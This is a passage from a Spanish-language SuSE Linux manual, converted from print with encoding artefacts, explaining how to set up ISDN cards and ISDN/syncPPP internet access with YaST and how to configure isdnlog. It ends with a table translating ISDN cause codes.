  11340.  
  11341.                            No hace falta reiniciar la computadora para cargar el driver de la tarjeta RDSI,
  11342.                            ya que Θste se proporciona por un m≤dulo de kernel. El driver HiSax soporta
  11343.                            todas las tarjetas RDSI estßndar.
  11344.  
  11345.                            Hay un par de tarjetas, como p. ej.  la de ICN  o la de AVM-B1  tal como las
  11346.                            que son PnP (ingl. Plug and Play), que necesitan un tratamiento especial y
  11347.                            (a·n) no pueden ser configuradas con YaST . Para configurarlas consulte la
  11348.                            secci≤n correspondiente mßs abajo.
  11349.  
  11350.                            Proceda paso por paso:
  11351.  
  11352.  
  11353. 176
  11354.       ______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n____________________*
  11355.  *_____________________
  11356.  
  11357.  
  11358.  
  11359. 1.   Entre al sistema como usuario `root'
  11360. 2.   Inicie YaST
  11361. 3.   Seleccione  el  men·  `Administraci≤n  del  sistema',   `Instalar
  11362.      hardware  en  el  sistema',   `Configurar  hardware  RDSI'.  Esta
  11363.      estructura de men· se ve en figura 6.1.
  11364.     Figura 6.1: Estructura de men· para la configuraci≤n RDSI con YaST
  11365.  
  11366.  
  11367. 4.   Introduzca los siguientes parßmetros al formulario:
  11368.  
  11369.      o   Iniciar  I4L
  11370.          La RDSI solo se activa si este campo estß marcado con un asterisco.
  11371.          Asφ puede habilitar y deshabilitar la posibilidad de establecer conex-
  11372.          iones vφa RDSI.
  11373.  
  11374.      o   Protocolo  RDSI
  11375.          Seleccione entre el anticuado tipo RDSI 1TR6 (de uso en Alemania) o
  11376.          el nuevo EDSS1, usual hoy en dφa. Tenga en cuenta que se sigue usan-
  11377.          do muchas veces 1TR6 cuando se conecta a travΘs de una centralita.
  11378.  
  11379.      o   Tipo  de  tarjeta  RDSI
  11380.          Seleccione la tarjeta soportada por el driver HiSax.  En caso de tarje-
  11381.          tas PnP o PCMCIA, consulte el fichero /usr/doc/packages/i4l/
  11382.          README.SuSE tal como el apartado 10.2.1 en la pßgina 288┐C≤mo ac-
  11383.          tivar tarjetas PnP con isapnp ?subsection.10.2.1.
  11384.       _______________________________________________________________________________________________________________________
  11385.       ||||||||  TΘngase en cuenta que no es permitido indicar una direcci≤n I/O (entrada                       ||             |
  11386.       ||||||||                                                                                                 ||             |
  11387.       ||||||||  y salida) o una interrupci≤n para tarjetas con bus PCI.                                        ||             |
  11388.       ||||||||_______________________________________________________________________________________________________________||_
  11389.  
  11390.      o   Identificaci≤n  de  tarjeta
  11391.          Dejarlo en el valor HiSax     .
  11392.  
  11393.      o   Interrupci≤n
  11394.          Direcci≤n  de  memoria  base
  11395.          Puerto  IO
  11396.          Valor  IO0
  11397.          Valor  IO1
  11398.  
  11399.  
  11400.                                                                                                                                    *
  11401.  *  177
  11402. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  11403.  *_______________________________________@
  11404.  
  11405.  
  11406.  
  11407.                                      Seg·n el tipo de tarjeta seleccionada, se pueden necesitar indicaciones
  11408.                                      adicionales  y  solo  se  pueden  tomar  aquellas  que  corresponden  a  la
  11409.                                      tarjeta escogida, las demßs aparecen en gris y se ignoran.
  11410.  
  11411.                                  o   Opciones  del  m≤dulo  RDSI
  11412.                                      Dejar este campo vacφo.
  11413.  
  11414.                                  Pulse  |____|F1se  consigue  informaci≤n  adicional.   La  pantalla  de  configu-
  11415.                                  raci≤n de RDSI se ve en Figura 6.2.
  11416.                                  Figura 6.2: Cuadro de dißlogo para la configuraci≤n RDSI con YaST
  11417.  
  11418.  
  11419.                             5.   Seleccione `Iniciar'.
  11420.  
  11421.                                  ┐Por quΘ?:  El m≤dulo se carga en modo de prueba y la ventana indica si
  11422.                                  la tarjeta fue reconocida correctamente.
  11423.  
  11424.                                  Si estß BIEN:          Seleccione el bot≤n `Guardar'.
  11425.  
  11426.                                      La configuraci≤n se guarda en los ficheros /etc/rc.config.d/i4l_
  11427.                                      *, asφ que puede activarla nuevamente despuΘs del pr≤ximo arranque
  11428.                                      o cambio de nivel de ejecuci≤n.  DespuΘs de esta prueba el m≤dulo se
  11429.                                      mantiene cargado.
  11430.  
  11431.                                  Si esta MAL:          Pruebe otros parßmetros y vigile los cambios en el fichero
  11432.                                      /var/log/messages.
  11433.  
  11434.                                      Los problemas tφpicos son:
  11435.  
  11436.                                      o   Algunas placas madre no permiten usar las interrupciones IRQ 12 o
  11437.                                          15.
  11438.                                      o   Las direcciones de memoria o las interrupciones ya estßn ocupadas
  11439.                                          por  otras  tarjetas.   Quite  todas  las  tarjetas  que  no  necesite  por  el
  11440.                                          momento (p. ej.  tarjetas de sonido o de red).
  11441.                                      o   El m≤dulo ya estß cargado.  Cambie a otra consola e introduzca el
  11442.                                          siguiente comando para descargar el m≤dulo:
  11443.                                             tierra:  #  rmmod  hisax
  11444.  
  11445.                                      o   Su  tarjeta  es  del  tipo  PnP;  en  este  caso  consulte  el  fichero  /usr/
  11446.                                          doc/packages/i4l/README.SuSE
  11447.  
  11448.  
  11449. 178
  11450.       ______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n____________________*
  11451.  *_____________________
  11452.  
  11453.  
  11454.  
  11455.          o   El  driver  HiSax  no  soporta  su  tarjeta,  que  puede  ser  p. ej.   del
  11456.              tipo  ICN  o  AVM-B1.   En  tal  caso  consulte  el  fichero  /usr/doc/
  11457.              packages/i4l/README.SuSE.
  11458.  
  11459. 6.   Salga de YaST .
  11460.  
  11461. 7.   Configuraci≤n de isdnlog
  11462.  
  11463.      Antes de cargar los m≤dulos es recomendable configurar isdnlog       ,  que
  11464.      se encarga de protocolar todas las actividades en el S0-bus.
  11465.  
  11466.      Adapte los siguientes ficheros a sus necesidades:
  11467.  
  11468.      o   /etc/isdn/isdn.conf:
  11469.  
  11470.          El primer pßrrafo especifica el paφs donde se va a usar isdn4linux.
  11471.          Para  Espa±a  se  definen  los  valores  como  se  ha  expuesto  en  el
  11472.          fichero 6.2.1 (numeraci≤n antigua con prefijos).
  11473.  
  11474.       _______________________________________________________________________________________________________________________||
  11475.       |||||||| #  /etc/isdn/isdn.conf                                                                                         |
  11476.       ||||||||                                                                                                                |
  11477.       ||||||||                                                                                                                |
  11478.       ||||||||                                                                                                                |
  11479.       |||||||| [GLOBAL]                                                                                                       |
  11480.       ||||||||                                                                                                                |
  11481.       |||||||| COUNTRYPREFIX  =  +                                                                                            |
  11482.       |||||||| COUNTRYCODE  =  34                                                                                             |
  11483.       |||||||| AREAPREFIX  =  9                                                                                               |
  11484.       ||||||||_______________________________________________________________________________________________________________ |
  11485.  
  11486.                  Fichero 6.2.1: Extracto de /etc/isdn/isdn.conf
  11487.  
  11488.  
  11489.          El   pßrrafo   GLOBAL   contiene   tambiΘn   el   AREACODE   (prefijo)   sin
  11490.          el   n·mero   9   por   delante.     Si   su   prefijo   es   p. ej.   93 ,   coloque
  11491.          AREACODE  =  3.
  11492.  
  11493.          Esta es la ·nica parte que se debe adaptar (en Espa±a).
  11494.  
  11495.          Con  CHARGEMAX  =  20.00  se  puede  determinar  el  gasto  telef≤nico
  11496.          mßximo en un dφa, en marcos alemanes.  Esto protege de conexiones
  11497.          no deseadas, pero mejor no fiarse de esta caracterφstica automßtica!
  11498.  
  11499.      o   /etc/isdn/callerid.conf:
  11500.  
  11501.          Aquφ  puede  apuntar  todos  los  n·meros  de  telΘfono  conocidos.   El
  11502.          fichero  /var/log/messages  y  el  comando  isdnrep       le  indican  en-
  11503.          tonces los nombres en lugar de los n·meros de telΘfono.  DΘjese guiar
  11504.          por el ejemplo en el fichero 6.2.2 en la pßgina siguiente; su n·mero es
  11505.          4711     y la de su proveedor 4712    .
  11506.  
  11507.      o   /etc/isdn/isdnlog.isdnctrl0.options:
  11508.  
  11509.          Este  fichero  contiene  las  opciones  para  el  comando  isdnlog      .   Gen-
  11510.          eralmente no se necesitan.
  11511.  
  11512. 8.   Para reiniciar los servicios de red (entre otros), se introducen los coman-
  11513.      dos
  11514.           tierra:  #  init  1
  11515.           tierra:  #  init  2
  11516.  
  11517.  
  11518.      o  se  activa  nuevamente  RDSI  con  YaST  (tambiΘn  se  puede  reiniciar  la
  11519.      computadora).
  11520.  
  11521.  
  11522.                                                                                                                                    *
  11523.  *  179
  11524. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  11525.  *_______________________________________@
  11526.  
  11527.                            ________________________________________________________________________________________________________*
  11528.  *________||||
  11529.                            | #  /etc/isdn/callerid.conf                                                                            *
  11530.  *         |
  11531.                            ||                                                                                                      *
  11532.  *         ||
  11533.                            | [MSN]                                                                                                 *
  11534.  *         |
  11535.                            | NUMBER  =  4711                                                                                       *
  11536.  *         |
  11537.                            |                                                                                                       *
  11538.  *         |
  11539.                            | SI  =  1                                                                                              *
  11540.  *         |
  11541.                            | ALIAS  =  yo                                                                                          *
  11542.  *         |
  11543.                            |                                                                                                       *
  11544.  *         |
  11545.                            | ZONE  =  1                                                                                            *
  11546.  *         |
  11547.                            |                                                                                                       *
  11548.  *         |
  11549.                            |                                                                                                       *
  11550.  *         |
  11551.                            | [MSN]                                                                                                 *
  11552.  *         |
  11553.                            | NUMBER  =  4712                                                                                       *
  11554.  *         |
  11555.                            |                                                                                                       *
  11556.  *         |
  11557.                            | SI  =  1                                                                                              *
  11558.  *         |
  11559.                            | ALIAS  =  proveedor                                                                                   *
  11560.  *         |
  11561.                            | ZONE  =  1                                                                                            *
  11562.  *         |
  11563.                            |_______________________________________________________________________________________________________*
  11564.  *________ |
  11565.  
  11566.                                                   Fichero 6.2.2: /etc/isdn/callerid.conf
  11567.  
  11568.  
  11569.  
  11570.                            6.2.5      Configuraci≤n de acceso a Internet vφa RDSI
  11571.  
  11572.  
  11573.                            Configuraci≤n RDSI para el acceso al proveedor
  11574.  
  11575.  
  11576.                            La selecci≤n del protocolo
  11577.  
  11578.                            Para el acceso vφa RDSI existen tres protocolos importantes:
  11579.  
  11580.  
  11581.                              o   syncPPP
  11582.  
  11583.                              o   rawip-HDLC
  11584.  
  11585.                              o   Login de terminal con X.75
  11586.  
  11587.  
  11588.                            Normalmente los proveedores de Internet ofrecen syncPPP  como protocolo,
  11589.                            asφ que lo mejor es configurar con Θste mismo.
  11590.  
  11591.  
  11592.                            Requisitos
  11593.  
  11594.                              o   La configuraci≤n del hardware RDSI debe funcionar.
  11595.  
  11596.                              o   El driver de RDSI debe estar cargado.
  11597.  
  11598.                              o   Conocer el n·mero MSN o EAZ que usa su lφnea.
  11599.  
  11600.                              o   Conocer el protocolo que usa su proveedor (rawip o syncPPP ).
  11601.  
  11602.                              o   Conocer el n·mero de telΘfono para realizar el acceso.
  11603.  
  11604.                              o   Conocer el nombre de usuario y la contrase±a de acceso.
  11605.  
  11606.                              o   Conocer el servidor de nombres (DNS) del proveedor.
  11607.  
  11608.  
  11609.                            Si realmente se conocen todos los detalles mencionados arriba, se podrß con-
  11610.                            figurar el acceso a Internet exitosamente.
  11611.  
  11612.                            La configuraci≤n del hardware RDSI ha funcionado y el driver de RDSI estß
  11613.                            cargado.  Aparte de esto se debe conocer el n·mero MSN o EAZ que usa la
  11614.                            lφnea.
  11615.  
  11616.                            El  ejemplo  expuesto  cubre  solo  el  acceso  con  syncPPP .  rawip  es  prßctica-
  11617.                            mente lo mismo e incluso mßs sencillo.
  11618.  
  11619.                            Seguiremos paso a paso:
  11620.  
  11621.  
  11622. 180
  11623.       ______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n____________________*
  11624.  *_____________________
  11625.  
  11626.                         Figura 6.3: Configuraci≤n de red con YaST
  11627.  
  11628.  
  11629.  
  11630. 1.   Inicie YaST y entre al men· `Administraci≤n  del  sistema', `Con-
  11631.      figuraci≤n  de  red',  `Configuraci≤n  bßsica  de  red'.   Apare-
  11632.      cerß el formulario que se ve en la figura 6.3.
  11633.  
  11634. 2.   Seleccione una lφnea libre, p. ej.  n·mero 1 .
  11635.  
  11636. 3.   Pulsando |F___|_5seleccione como dispositivo `ISDN  SyncPPP'.
  11637.  
  11638. 4.   Pulse |F___|_6(`IP') e introduzca:
  11639.  
  11640.      o   Direcci≤n IP de la mßquina (tarjeta RDSI): 192.168.0.99
  11641.  
  11642.      o   Solo marque la casilla `Direcci≤n  IP  dinßmica', si el proveedor
  11643.          la asigna ''dinßmicamente'' en cada conexi≤n.
  11644.  
  11645.      o   Direcci≤n IP del Default-Gateway: 192.168.0.1           (pasarela por defec-
  11646.          to)
  11647.  
  11648.      o   IP de la contraparte punto a punto: 192.168.0.1
  11649.  
  11650. 5.   Seleccione `Continuar' para salir de la pantalla.
  11651.  
  11652. 6.   Active la red con |F___|_4, si no lo ha hecho ya.
  11653.  
  11654. 7.   Pulse | ____|F8(`ISDN'  =  RDSI)  le  permite  indicar  parßmetros  adicionales,
  11655.      especφficos de RDSI. La pantalla correspondiente se ve en la figura 6.4 en
  11656.      la pßgina siguiente.
  11657.  
  11658.      Indique los siguientes valores:
  11659.  
  11660.      o   Su  n·mero  de  telΘfono  (MSN)
  11661.  
  11662.          p. ej.  123456
  11663.  
  11664.      o   N·mero  a  marcar:              012345678
  11665.  
  11666.          Es  el  n·mero  que  debe  marcar  la  computadora.   012345678  es  el
  11667.          n·mero del proveedor de Internet
  11668.       _______________________________________________________________________________________________________________________||
  11669.       ||||||||  Si  utiliza  una  centralita  es  posible  que  tenga  que  marcar  primero  el  0.            |||            |
  11670.       ||||||||  Ademßs hay que considerar que los n·mero separados por un espacio se                           ||             |
  11671.       ||||||||                                                                                                 ||             |
  11672.       ||||||||  tratan como dos n·meros de telΘfono diferentes.                                                ||             |
  11673.       ||||||||_______________________________________________________________________________________________________________||_
  11674.  
  11675.  
  11676.                                                                                                                                    *
  11677.  *  181
  11678. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  11679.  *_______________________________________@
  11680.  
  11681.  
  11682.  
  11683.                                  Figura 6.4: Configuraci≤n de los parßmetros de red RDSI con YaST
  11684.  
  11685.  
  11686.  
  11687.                                  o   N·meros  a  los  que  se  permite  llamar:
  11688.  
  11689.                                      Los n·meros de telΘfono autorizados a llamar.  Solo se necesita para
  11690.                                      servidores ''Dialin''.
  11691.  
  11692.                                  o   Solo  se  permiten  n·meros  indicados:
  11693.  
  11694.                                      Afirme esta opci≤n para que nadie pueda establecer una conexi≤n no
  11695.                                      autorizada a su servidor.
  11696.  
  11697.                                  o   Modo  de  llamada:             Activando la opci≤n auto     se establece automßti-
  11698.                                      camente  una  conexi≤n  cuando  se  trata  de  acceder  a  direcciones  que
  11699.                                      solo pueden ser alcanzados a travΘs de la interfaz RDSI. Con la opci≤n
  11700.                                      manual      hay que establecer las conexiones a mano cuando sea preciso.
  11701.                                      Con off    se desactiva la posibilidad de conectar mediante esta interfaz
  11702.                                      RDSI.
  11703.  
  11704.                                  o   Tiempo  muerto:
  11705.  
  11706.                                      El tiempo de inactividad de la lφnea (no se transmiten paquetes IP) que
  11707.                                      la computadora espera hasta que cuelga automßticamente.
  11708.  
  11709.                                  o   Nombre  del  login  PPP:
  11710.  
  11711.                                      Introduzca el nombre de usuario para su proveedor.
  11712.  
  11713.                                  o   Password  del  login  PPP:
  11714.  
  11715.                                      Introduzca la contrase±a para su proveedor. Cuando se escribe la con-
  11716.                                      trase±a,  Θsta  se  muestra  en  pantalla  con  asteriscos  y  se  guarda  en  el
  11717.                                      fichero /etc/ppp/pap-secrets.
  11718.  
  11719.                                  Puede obtener mßs ayuda pulsando |F___|_1.
  11720.  
  11721.                             8.   Seleccione el bot≤n `Iniciar'. La red se configura a modo de prueba y
  11722.                                  se puede observar en la ventana si funciona.  Generalmente en este paso
  11723.                                  no se presentan problemas.
  11724.  
  11725.                                  Si estß BIEN:          Seleccione el bot≤n `Guardar'.
  11726.  
  11727.                                      La configuraci≤n se guarda en los ficheros /etc/rc.config.d/i4l_
  11728.                                      * asφ que se puede activar nuevamente despuΘs del pr≤ximo arranque o
  11729.  
  11730.  
  11731. 182
  11732.       ______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n____________________*
  11733.  *_____________________
  11734.  
  11735.  
  11736.  
  11737.          cambio de nivel de ejecuci≤n. DespuΘs de esta prueba la configuraci≤n
  11738.          se mantiene.
  11739.  
  11740.      Si esta MAL:           Probablemente   los   m≤dulos   RDSI   no   estßn   carga-
  11741.          dos.    TambiΘn  se  deben  tener  en  cuenta  los  mensajes  del  fichero
  11742.          /var/log/messages.
  11743.  
  11744. 9.   En YaST  entre al men· `Configuraci≤n  DNS' y afirme la primera pre-
  11745.      gunta.  Introduzca despuΘs el n·mero IP del servidor de nombres (DNS)
  11746.      de su proveedor. Si no conoce este n·mero tendrß que consultar al provee-
  11747.      dor. Otra posibilidad serφa pedir a alguiΘn, que ya tenga una mßquina Lin-
  11748.      ux conectada a Internet,  que le informe sobre el resultado del siguiente
  11749.      comando,  introducido  en  una  ventana  de  terminal  (el  ejemplo  es  de  un
  11750.      proveedor alemßn):
  11751.  
  11752.      whois  t-online.de
  11753.  
  11754.      Con esto se obtiene una respuesta que contiene, entre otras, las lφneas que
  11755.      figuran en la salida en pantalla 6.2.1.
  11756.  
  11757.       _______________________________________________________________________________________________________________________||
  11758.       |||||||| domain:           t-online.de                                                                                  |
  11759.       ||||||||                                                                                                                |
  11760.       |||||||| descr:            Deutsche  Telekom  AG,  Telekom  Online-Dienste                                              |
  11761.       |||||||| descr:            Generaldirektion,  GK361                                                                     |
  11762.       |||||||| descr:            Postfach  2000                                                                               |
  11763.       ||||||||                                                                                                                |
  11764.       |||||||| descr:            D-53105  Bonn                                                                                |
  11765.       |||||||| descr:            Germany                                                                                      |
  11766.       ||||||||                                                                                                                |
  11767.       |||||||| admin-c:         KHS252-RIPE                                                                                   |
  11768.       |||||||| tech-c:           JS691-RIPE                                                                                   |
  11769.       ||||||||                                                                                                                |
  11770.       |||||||| zone-c:           FS340-RIPE                                                                                   |
  11771.       |||||||| nserver:         dns00.btx.dtag.de                                                                             |
  11772.       ||||||||_______________________________________________________________________________________________________________ |
  11773.  
  11774.          Mensaje en pantalla 6.2.1: Resultado de: whois  t-online.de
  11775.  
  11776.  
  11777.      La  lφnea  nserver:        indica  el  servidor  de  nombres  del  proveedor.  Si  se
  11778.      conoce este nombre, solo harφa falta el n·mero IP del mismo; para obten-
  11779.      erlo use el comando:
  11780.  
  11781.      host  dns00.btx.dtag.de
  11782.  
  11783.      Aparece entonces una respuesta como la de la salida en pantalla 6.2.2.
  11784.  
  11785.       _______________________________________________________________________________________________________________________
  11786.       |||||||| dns00.btx.dtag.de  has  address  194.25.2.129                                                                  |
  11787.       ||||||||                                                                                                                |
  11788.       ||||||||_______________________________________________________________________________________________________________ |
  11789.  
  11790.                 Mensaje en pantalla 6.2.2: Salida en pantalla de host
  11791.  
  11792.  
  11793.      En  Θsta  (194.25.2.129           )  es  el  n·mero  IP  del  servidor  de  nombres  de
  11794.      T-Online.
  11795.  
  11796.      Si no puede establecer la conexi≤n:
  11797.  
  11798.      o   Repase  /var/log/messages  en  busca  de  mensajes  ''sospechosos'';
  11799.          Los mensajes de estado del sistema RDSI (p. ej.  E001f    ) se explican en
  11800.          el apartado 6.2.6 en la pßgina siguiente.
  11801.  
  11802.      o   Pruebe la conecci≤n vφa rawip .
  11803.  
  11804.      o   ┐Tiene el n·mero MSN/EAZ correcto?
  11805.  
  11806.  
  11807.                                                                                                                                    *
  11808.  *  183
  11809. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  11810.  *_______________________________________@
  11811.  
  11812.  
  11813.  
  11814.                                  o   ┐Serß que se debe marcar un 0 por delante?
  11815.                                  El banco de datos de soporte tiene mßs consejos; se encuentra en Internet,
  11816.  
  11817.                                  en nuestro servidor web, bajo la URL http://sdb.suse.de/sdb/de/
  11818.                                  html/  .   TambiΘn  puede  acceder  a  Θl  con  la  ayuda  de  SuSE     (se  inicia
  11819.                                  con  el  comando  susehelp        o  con  la  opci≤n  correspondiente  del  men·
  11820.                                  en el sistema X Window) directamente en su computadora, si el paquete
  11821.                                  susehilf, serie doc y el paquete sdb_en, serie doc estßn instalados.
  11822.  
  11823.                           10.    Si la conexi≤n funciona (lo que esperamos), cambie otra vez a la consola
  11824.                                  en la que se estß ejecutando YaST , pulse el bot≤n `Guardar' y finalice
  11825.                                  YaST .
  11826.  
  11827.  
  11828.                            IP dinßmico con syncPPP
  11829.  
  11830.                            Si las direcciones IP se asignan dinßmicamente, las direcciones indicadas para
  11831.                            el ßrea privada solo sirven de relleno hasta el momento en que se establece la
  11832.                            conexi≤n.
  11833.  
  11834.  
  11835.                            Informaci≤n adicional
  11836.  
  11837.                            Para obtener mßs informaci≤n sobre la configuraci≤n de una conexi≤n RDSI y
  11838.                            sobre la configuraci≤n del sub-sistema RDSI, consulte las siguientes fuentes:
  11839.  
  11840.                              o   El fichero /usr/doc/packages/i4l/README.SuSE
  11841.  
  11842.                              o   El banco de datos del soporte: http://sdb.suse.de/sdb/de/html/
  11843.  
  11844.                              o   En el paquete i4ldoc (p. ej.  el FAQ de RDSI en el fichero:  /usr/doc/
  11845.                                  packages/i4ldoc/i4l-faq)
  11846.  
  11847.                              o   /usr/doc/inetcfg (paquete inetcfg)
  11848.  
  11849.  
  11850.                            6.2.6      Mensaje RDSI
  11851.  
  11852.                            Desafortunadamente  los  mensajes  del  tipo  ''Cause''  (causa)  que  da  el  sub-
  11853.                            sistema  RDSI  son  en  inglΘs  y  no  siempre  muy  claros,  por  lo  tanto  aquφ  le
  11854.                            ofrecemos la traducci≤n al castellano.
  11855.  
  11856.                            Un  mensaje  de  causa  (error)  tφpico  de  HiSaX  se  compone  de  2  partes,
  11857.                            location         y  cause  code        .   En  caso  del  Euro-RDSI,  son  5  cifras  del  tipo
  11858.                            Exxyy     ,  donde  xx   especifica  el  origen  del  mensaje  de  error  (aquφ  no  se  ex-
  11859.                            plica),  e  yy   que  indica  la  causa  del  mensaje.   HiSaX  siempre  indica  un
  11860.                            valor hexadecimal.  Hay determinados mensajes que no representan ning·n
  11861.                            error,  sino que forman parte del comportamiento normal de las conexiones
  11862.                            telef≤nicas (''ocupado'', ''conexi≤n terminada por colgar'').
  11863.  
  11864.  
  11865.  
  11866. 184
  11867.        ______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n___________________*
  11868.  *______________________
  11869.  
  11870.  
  11871.  
  11872. A  continuaci≤n  vienen  las  explicaciones  de  las  distintas  causas  que  pro-
  11873. ducen  un  mensaje  (''Causes'');  con  la  autorizaci≤n  de:  Institut  fⁿr  Elektro-
  11874. nische Systeme und Vermittlungstechnik der UniversitΣt Dortmund:  http:
  11875. //www-esv.e-technik.uni-dortmund.de.  Tenga en cuenta que HiSaX
  11876. indica los valores en hexadecimal.
  11877.        ______________________________________________________________________________________________________________________
  11878.  
  11879.    Cause#  dec/hex              Descripci≤n
  11880.  
  11881.  
  11882.                                 Grupo 0/1: Causas normales
  11883.  
  11884.  
  11885.      #1  01                     El n·mero marcado es completo y puede ser interpre-
  11886.                                 tado por la red, pero actualmente no se puede asignar
  11887.                                 ning·n abonado.
  11888.      #2  02                     El dispositivo que genera el error no reconoce la red
  11889.                                 de trßnsito. Esto puede ocurrir porque la red de trßn-
  11890.                                 sito deseada no existe o porque no acepta el servicio
  11891.                                 solicitado.
  11892.      #3  03                     No se encontr≤ ninguna ruta hacia el abonado ya que
  11893.                                 Θste  probablemente  no  esta  dado  de  alta  en  la  red
  11894.                                 elegida sino en otra.
  11895.      #6  06                     El abonado llamado no puede utilizar el canal solici-
  11896.                                 tado.
  11897.      #7  07                     El  abonado  llamado  rechaz≤  la  llamada,  ya  que  el
  11898.                                 canal solicitado estaba ocupado (canal virtual, X.31
  11899.                                 o X.25).
  11900.      #16  10                    Uno de los abondados que paticipan en la llamada ha
  11901.                                 colgado.
  11902.      #17  11                    El  abonado  llamado  estß  comunicando  y  no  puede
  11903.                                 responder a una llamada adicional.
  11904.      #18  12                    La llamada entr≤, pero la solicitud de establecimiento
  11905.                                 de llamada SETUP      no se concedi≤ dentro del tiempo
  11906.                                 previsto.
  11907.      #19  13                    Aunque el aparato del abonado recibe la llamada, el
  11908.                                 abonado no la contesta; p. ej.  el telΘfono suena en una
  11909.                                 casa vacφa.
  11910.      #21  15                    El abonado llamado rechaz≤ explφcitamente la llama-
  11911.                                 da.
  11912.      #22  16                    La  central  telef≤nica  del  destino  puede  enviar  este
  11913.                                 mensaje cuando el n·mero del abonado ha cambiado.
  11914.      #26  1A                    No fue posible indicar la llamada al abonado .
  11915.      #27  1B                    La interfaz del abonado llamado estß fuera se servi-
  11916.                                 cio.
  11917.      #28  1C                    El n·mero marcado no es vßlido o no puede ser in-
  11918.                                 terpretado por la red.
  11919.      #29  1D                    La red no puede prestar cierto servicio que se ha so-
  11920.                                 licitado junto con la llamada.
  11921.  
  11922.        ______________________________________________________________________________________________________________________
  11923.  
  11924.                         Tabla 6.1: Contin·a en la pßgina siguiente ...
  11925.  
  11926.                                                                                                                                    *
  11927.  *   185
  11928. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  11929.  *_______________________________________@
  11930.  
  11931.                             _______________________________________________________________________________________________________*
  11932.  *_________
  11933.  
  11934.  
  11935.                                 #30  1E                    Indica  que  el  mensaje  STATUS  fue  enviado  en  re-
  11936.                                                            spuesta  a  una  solicitud  de  estado,  STATUS  EN-
  11937.                                                            QUIRY.
  11938.                                 #31  1F                    Si  no  hay  ninguna  causa  del  grupo  Normal      que  se
  11939.                                                            pueda aplicar, se indica Θsta misma.
  11940.  
  11941.  
  11942.                                                            Grupo 2: Recursos no disponibles
  11943.  
  11944.  
  11945.                                 #34  22                    Todos  los  canales  B  (canales  de  voz)  o  todos  los
  11946.                                                            canales virtuales (X.25) de la central telef≤nica estßn
  11947.                                                            ocupados.
  11948.                                 #38  26                    La  red  de  comunicaci≤n  estß  fuera  de  servicio  y  lo
  11949.                                                            seguirß estando por alg·n tiempo mßs.
  11950.                                 #41  29                    La  central  de  conmutaci≤n  sufre  un  error  temporal,
  11951.                                                            por  lo  tanto  tiene  sentido  repetir  el  intento  de  es-
  11952.                                                            tablecimiento de llamada.
  11953.                                 #42  2A                    La  central  telef≤nica  que  envφa  esta  causa,  actual-
  11954.                                                            mente  no  tiene  ning·n  canal  disponible,  por  sobre-
  11955.                                                            carga.
  11956.                                 #43  2B                    La informaci≤n de acceso enviada por el solicitante
  11957.                                                            de la llamada (p. ej.  contrase±a en el elemento UTU,
  11958.                                                            datos LLC o HLC) no se pudo pasar al abonado lla-
  11959.                                                            mado.
  11960.                                 #44  2C                    La interfaz del abonado llamado no puede ofrecer el
  11961.                                                            canal solicitado.
  11962.                                 #47  2F                    Si   hay   alg·n   recurso   no   disponible,    que   no
  11963.                                                            se   puede   explicar   con   alguna   causa   del   grupo
  11964.                                                            Recursos  no  disponibles                   ,  se  envφa  esta  raz≤n
  11965.                                                            como causa.
  11966.  
  11967.  
  11968.                                                            Grupo 3: Servicio u opci≤n no disponible
  11969.  
  11970.  
  11971.                                 #49  31                    No  es  posible  cumplir  la  caracterφstica  de  calidad
  11972.                                                            (tasa de transferencia o dilaci≤n) seg·n X.213.
  11973.                                 #50  32                    El usuario no tiene permiso para acceder al servicio
  11974.                                                            solicitado, ya que no esta dado de alta como usuario.
  11975.                                 #57  39                    El usuario no tiene permiso para usar el servicio so-
  11976.                                                            licitado en la instalaci≤n de origen.
  11977.                                 #58  3A                    El servicio solicitado no estß disponible actualmente.
  11978.                                 #59  3B                    Se indica un servicio o una opci≤n no disponible que
  11979.                                                            no estß cubierta por las razones anteriormente men-
  11980.                                                            cionadas.
  11981.  
  11982.  
  11983.                                                            Grupo 4: Servicio u opci≤n no implementada
  11984.  
  11985.  
  11986.  
  11987.                             _______________________________________________________________________________________________________*
  11988.  *_________
  11989.  
  11990.                                                   Tabla 6.1: Contin·a en la pßgina siguiente ...
  11991.  
  11992.  
  11993.  
  11994. 186
  11995.   ______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n________________________*
  11996.  *_________________
  11997.  
  11998.   ______________________________________________________________________________________________________________________
  11999.  
  12000.  
  12001. #65  41                     El dispositivo emisor no es capaz de proporcionar la
  12002.                             propiedad bearer  capabiltiy                solicitada.
  12003. #66  42                     El tipo de canal solicitado no estß disponible.
  12004. #69  45                     La  propiedad  del  servicio  solicitado  no  estß  imple-
  12005.                             mentada.
  12006. #70  46                     El  usuario  solicit≤  la  transferencia  ilimitada  de  in-
  12007.                             formaci≤n  digital,  sin  embargo  solo  se  permite  una
  12008.                             transferencia limitada.
  12009. #79  4F                     Un servicio o una opci≤n, que no estß entre las causas
  12010.                             anteriores, no estß implementada.
  12011.  
  12012.  
  12013.                             Grupo 5: Mensaje no vßlido, parßmetro inadmis-
  12014.                             ible
  12015.  
  12016.  
  12017. #81  51                     Se recibi≤ una llamada con un valor de referencia de
  12018.                             llamada (ingl. Call Reference Value) actualmente no
  12019.                             vßlido en la red.
  12020. #82  52                     El canal solicitado no existe en la interfaz que origina
  12021.                             esta causa. Esto ocurre p. ej.  con CHI = 26 sobre una
  12022.                             interfaz PCM 24.
  12023. #83  53                     Se intent≤ sacar una llamada en estado de espera con
  12024.                             una ID de llamada no vßlida.
  12025. #84  54                     Se intent≤ utilizar una ID de llamada que ya estß en
  12026.                             uso dentro del ßmbito del equipo que controla el es-
  12027.                             tado de las llamadas.
  12028. #85  55                     Se  intent≤  reanudar  una  llamada,  aunque  no  hubo
  12029.                             ninguna llamada en espera.
